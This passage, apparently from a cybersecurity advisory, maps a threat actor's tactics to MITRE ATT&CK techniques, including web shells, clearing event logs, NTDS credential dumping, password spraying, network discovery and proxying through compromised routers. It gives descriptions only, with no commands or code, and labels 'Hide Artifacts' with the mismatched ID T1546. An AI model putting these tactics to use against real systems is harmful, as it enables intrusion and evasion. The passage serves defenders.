The actor used a PowerShell command to identify successful logons to the host.

Command and Scripting Interpreter: Windows Command Shell

T1059.003(link is external)

The actor used this primary command prompt to execute a query that collected
information about the storage devices on the local host.

Persistence

Server Software Component: Web Shell

T1505.003(link is external)

The actor used backdoor web servers with web shells to establish persistence to
systems, including some of the webshells being derived from Awen webshell.

Defense Evasion

Hide Artifacts

T1546(link is external)

The actor selectively cleared Windows Event Logs, system logs, and other
technical artifacts to remove evidence of their intrusion activity.

Indicator Removal: Clear Windows Event Logs

T1070.001(link is external)

The actor cleared system event logs to hide activity of an intrusion.

Credential Access

OS Credential Dumping: NTDS

T1003.003(link is external)

The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive
out of the network to perform password cracking.

Brute Force

T1110(link is external)

The actor attempted to gain access to accounts with multiple password attempts.

Brute Force: Password Spraying

T1110.003(link is external)

 

The actor used commonly used passwords against accounts to attempt to acquire
valid credentials.

OS Credential Dumping

T1003(link is external)

The actor used additional commands to obtain credentials in the environment.

Credentials from Password Stores

T1555(link is external)

The actors searched for common password storage locations.

Discovery

System Information Discovery

T1082(link is external)

The actors executed commands to gather information about local drives.

System Owner/User Discovery

T1033(link is external)

The actors gathered information about successful logons to the host using a
PowerShell command.

Permission Groups Discovery: Local Groups

T1069.001(link is external)

The actors attempt to find local system groups and permission settings.

Permission Groups Discovery: Doman Groups

T1069.002(link is external)

The actors used commands to enumerate the active directory structure.

System Network Configuration Discovery

T1016(link is external)

The actors used commands to enumerate the network topology.

Command and Control

Proxy

T1090(link is external)

The actors used commands to enable port forwarding on the host.

Proxy: External Proxy

T1090.002(link is external)

The actors used compromised SOHO devices (e.g. routers) to obfuscate the source
of their activity.

 


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